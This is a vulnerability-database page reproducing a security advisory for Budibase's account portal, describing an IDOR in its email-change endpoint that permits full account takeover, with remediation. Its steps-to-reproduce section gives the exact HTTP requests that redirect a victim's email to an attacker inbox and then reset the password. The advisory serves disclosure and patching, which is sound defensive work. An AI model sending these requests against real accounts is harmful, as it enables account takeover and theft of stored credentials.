Vulnerability-Lookup

GHSA-C8VC-7PV3-G98P

Vulnerability from github – Published: 2026-07-24 21:14 – Updated: 2026-07-24 21:14

Summary

Budibase: Email Change IDOR via POST /api/v2/email allows full Account Takeover (accountId not validated against session)

Details

Summary

POST /api/v2/email on the account portal (account.budibase.app) starts an email-change workflow using a client-supplied accountId that is not validated against the authenticated session. A logged-in attacker supplies a victim's accountId and an email address they control; the verification code is delivered to the attacker's address, and completing the workflow changes the victim's account email. The attacker then password-resets the victim's account through the controlled address and logs in — full account takeover with no victim interaction.

Vulnerability Details

The endpoint session-checks the currentEmail field (a mismatch returns 403), but it does not enforce body.accountId === session.accountId. The account-portal frontend only ever submits the logged-in user's own accountId, so in normal use the two always match — the server simply trusts the body value. An attacker who has a victim's accountId can point the workflow at the victim's account while passing their own currentEmail to clear the session check.

This is more powerful than a direct password reset: PUT /api/v2/auth/password {email} already exists and is gated only on knowing the victim's email, but the reset link is sent to the address on the account — the victim's inbox, which the attacker does not control. This IDOR moves the victim's email to an attacker-controlled inbox first, so the attacker receives the reset link and sets a password they know.

accountId obtainability. We checked every endpoint reachable from a non-admin free-tier account — GET /api/global/users (no UUID in any user record), GET /api/global/auditlogs/search (no accountId field), GET /api/global/users/invites (code + email + name only), GET /api/v2/tenant (one tenant-internal UUID, not a user accountId), the account-portal frontend (passes the session's own accountId only), and all unauthenticated endpoints — and the victim's accountId was not present in any of them. The attacker must obtain the UUID through some channel other than the normal API surface (support channel, screenshot, a leak, prior compromise, etc.).

Steps to Reproduce

Setup: Two account-portal accounts at https://account.budibase.app — Account A (attacker) and Account B (victim). From Account B's session, GET /api/auth/self returns account.accountId — this is the value the attacker needs.

Start the email-change workflow pointed at the victim's accountId, newEmail = attacker-controlled.

POST /api/v2/email HTTP/1.1
Host: account.budibase.app
Content-Type: application/json
Cookie: budibase:auth=<ACCOUNT_A_JWT>

{"currentEmail":"<ACCOUNT_A_EMAIL>","newEmail":"attacker-controlled@example.net","accountId":"<VICTIM_ACCOUNT_ID>"}

Response: 201 Created, sets budibase:change_email:correlationkey (HttpOnly), :instancekey, :status, :newemail cookies. The workflow started against the victim's accountId even though the caller is Account A.

Complete the change with the code from the attacker-controlled inbox (or read directly from the correlationkey cookie set in step 1).

POST /api/v2/email/verification HTTP/1.1
Host: account.budibase.app
Content-Type: application/json
Cookie: budibase:auth=<ACCOUNT_A_JWT>; budibase:change_email:correlationkey=<CODE>; budibase:change_email:instancekey=<KEY>

{"verificationCode":"<code>","processInstanceKey":"<key>"}

Response: 200 OK. The victim's account email is now attacker-controlled@example.net.

Confirm the change hit the victim, not the caller (false-positive control).
Account A (caller) still logs in with its own original email — 200, unchanged.
Account B's (victim) original email is now rejected — 403, locked out.
attacker-controlled@example.net now logs into the victim's account — 200.
Take over the account.

PUT /api/v2/auth/password HTTP/1.1
Host: account.budibase.app
Content-Type: application/json

{"email":"attacker-controlled@example.net"}

Response: 202 Accepted, reset link delivered to the attacker's own inbox. Complete the reset with PUT /api/v2/auth/password/verification, then log in as the victim with the attacker-chosen password. GET /api/auth/self afterward returns the victim's real accountId and tenantId — full account takeover, confirmed via a genuinely separate account/tenant (not a same-account self-test).

Impact

An authenticated account-portal user who obtains a victim's accountId (out-of-band — it is not exposed anywhere in the normal cross-user API surface we could find) can take over that victim's account: rewrite the login email to an attacker address, set a new password, and access the victim's tenants, apps, and stored datasource credentials (REST/SQL/S3 auth). The victim is locked out of their own account. Every step from the initial IDOR write to full login-as-victim is deterministic and 100% reliable once the accountId is known — no additional vulnerability or guessing is required, since the chain uses nothing but the platform's own stock password-reset flow.

Remediation

Validate that the body's accountId equals the authenticated session's accountId before starting or completing the email-change workflow (the same check already applied to currentEmail). Do not trust a client-supplied accountId to select the workflow target.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:14:49Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`POST /api/v2/email` on the account portal (`account.budibase.app`) starts an email-change workflow using a client-supplied `accountId` that is **not validated against the authenticated session**. A logged-in attacker supplies a victim\u0027s `accountId` and an email address they control; the verification code is delivered to the attacker\u0027s address, and completing the workflow changes the **victim\u0027s** account email. The attacker then password-resets the victim\u0027s account through the controlled address and logs in \u2014 full account takeover with no victim interaction.\n\n## Vulnerability Details\n\nThe endpoint session-checks the `currentEmail` field (a mismatch returns 403), but it does not enforce `body.accountId === session.accountId`. The account-portal frontend only ever submits the logged-in user\u0027s own accountId, so in normal use the two always match \u2014 the server simply trusts the body value. An attacker who has a victim\u0027s `accountId` can point the workflow at the victim\u0027s account while passing their own `currentEmail` to clear the session check.\n\nThis is more powerful than a direct password reset: `PUT /api/v2/auth/password {email}` already exists and is gated only on knowing the victim\u0027s email, but the reset link is sent to the address on the account \u2014 the victim\u0027s inbox, which the attacker does not control. This IDOR moves the victim\u0027s email to an attacker-controlled inbox first, so the attacker receives the reset link and sets a password they know.\n\n**accountId obtainability.** We checked every endpoint reachable from a non-admin free-tier account \u2014 `GET /api/global/users` (no UUID in any user record), `GET /api/global/auditlogs/search` (no accountId field), `GET /api/global/users/invites` (code + email + name only), `GET /api/v2/tenant` (one tenant-internal UUID, not a user accountId), the account-portal frontend (passes the session\u0027s own accountId only), and all unauthenticated endpoints \u2014 and the victim\u0027s `accountId` was not present in any of them. The attacker must obtain the UUID through some channel other than the normal API surface (support channel, screenshot, a leak, prior compromise, etc.).\n\n## Steps to Reproduce\n\n**Setup:** Two account-portal accounts at `https://account.budibase.app` \u2014 Account A (attacker) and Account B (victim). From Account B\u0027s session, `GET /api/auth/self` returns `account.accountId` \u2014 this is the value the attacker needs.\n\n1. **Start the email-change workflow pointed at the victim\u0027s accountId, newEmail = attacker-controlled.**\n\n```http\nPOST /api/v2/email HTTP/1.1\nHost: account.budibase.app\nContent-Type: application/json\nCookie: budibase:auth=\u003cACCOUNT_A_JWT\u003e\n\n{\"currentEmail\":\"\u003cACCOUNT_A_EMAIL\u003e\",\"newEmail\":\"attacker-controlled@example.net\",\"accountId\":\"\u003cVICTIM_ACCOUNT_ID\u003e\"}\n```\n\nResponse: `201 Created`, sets `budibase:change_email:correlationkey` (HttpOnly), `:instancekey`, `:status`, `:newemail` cookies. The workflow started against the victim\u0027s accountId even though the caller is Account A.\n\n2. **Complete the change with the code from the attacker-controlled inbox (or read directly from the `correlationkey` cookie set in step 1).**\n\n```http\nPOST /api/v2/email/verification HTTP/1.1\nHost: account.budibase.app\nContent-Type: application/json\nCookie: budibase:auth=\u003cACCOUNT_A_JWT\u003e; budibase:change_email:correlationkey=\u003cCODE\u003e; budibase:change_email:instancekey=\u003cKEY\u003e\n\n{\"verificationCode\":\"\u003ccode\u003e\",\"processInstanceKey\":\"\u003ckey\u003e\"}\n```\n\nResponse: `200 OK`. The victim\u0027s account email is now `attacker-controlled@example.net`.\n\n3. **Confirm the change hit the victim, not the caller (false-positive control).**\n\n- Account A (caller) still logs in with its own original email \u2014 200, unchanged.\n- Account B\u0027s (victim) original email is now rejected \u2014 403, locked out.\n- `attacker-controlled@example.net` now logs into the victim\u0027s account \u2014 200.\n\n4. **Take over the account.**\n\n```http\nPUT /api/v2/auth/password HTTP/1.1\nHost: account.budibase.app\nContent-Type: application/json\n\n{\"email\":\"attacker-controlled@example.net\"}\n```\n\nResponse: `202 Accepted`, reset link delivered to the attacker\u0027s own inbox. Complete the reset with `PUT /api/v2/auth/password/verification`, then log in as the victim with the attacker-chosen password. `GET /api/auth/self` afterward returns the victim\u0027s real `accountId` and `tenantId` \u2014 full account takeover, confirmed via a genuinely separate account/tenant (not a same-account self-test).\n\n## Impact\n\nAn authenticated account-portal user who obtains a victim\u0027s `accountId` (out-of-band \u2014 it is not exposed anywhere in the normal cross-user API surface we could find) can take over that victim\u0027s account: rewrite the login email to an attacker address, set a new password, and access the victim\u0027s tenants, apps, and stored datasource credentials (REST/SQL/S3 auth). The victim is locked out of their own account. Every step from the initial IDOR write to full login-as-victim is deterministic and 100% reliable once the accountId is known \u2014 no additional vulnerability or guessing is required, since the chain uses nothing but the platform\u0027s own stock password-reset flow.\n\n## Remediation\n\nValidate that the body\u0027s `accountId` equals the authenticated session\u0027s `accountId` before starting or completing the email-change workflow (the same check already applied to `currentEmail`). Do not trust a client-supplied `accountId` to select the workflow target.",
  "id": "GHSA-c8vc-7pv3-g98p",
  "modified": "2026-07-24T21:14:49Z",
  "published": "2026-07-24T21:14:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-c8vc-7pv3-g98p"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.40.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": " Budibase: Email Change IDOR via POST /api/v2/email allows full Account Takeover (accountId not validated against session)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-C8VC-7PV3-G98P

Summary

Vulnerability Details

Steps to Reproduce

Impact

Remediation

Tags

Sightings

Nomenclature